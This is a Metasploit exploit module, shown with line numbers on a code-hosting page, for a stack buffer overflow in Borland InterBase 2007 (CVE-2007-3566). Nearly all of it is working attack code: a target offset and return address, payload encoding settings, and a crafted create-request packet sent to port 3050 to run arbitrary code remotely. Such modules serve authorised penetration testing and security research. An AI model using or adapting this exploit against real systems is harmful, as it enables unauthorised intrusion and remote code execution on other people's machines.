Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in Borland Interbase 2007.
16
        By sending a specially crafted create-request packet, a remote
17
        attacker may be able to execute arbitrary code.
18
      },
19
      'Author'         => 'MC',
20
      'References'     =>
21
        [
22
          [ 'CVE', '2007-3566' ],
23
          [ 'OSVDB', '38602' ],
24
          [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
25
        ],
26
      'DefaultOptions' =>
27
        {
28
          'EXITFUNC' => 'thread',
29
          'AllowWin32SEH' => true
30
        },
31
      'Payload'        =>
32
        {
33
          'Space'    => 850,
34
          'BadChars' => "\x00",
35
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
36
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
37
        },
38
      'Platform'       => 'win',
39
      'Targets'        =>
40
        [
41
          [ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
42
        ],
43
      'Privileged'     => true,
44
      'DefaultTarget'  => 0,
45
      'DisclosureDate' => '2007-07-24'))
46

47
    register_options([Opt::RPORT(3050)])
48
  end
49

50
  def exploit
51
    connect
52

53
    # Build the exploit buffer.... It's a biggie!
54
    sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
55
    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
56
    sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
57

58
    print_status("Trying target #{target.name}...")
59
    sock.put(sploit)
60

61
    handler
62
    disconnect
63
  end
64
end
65

66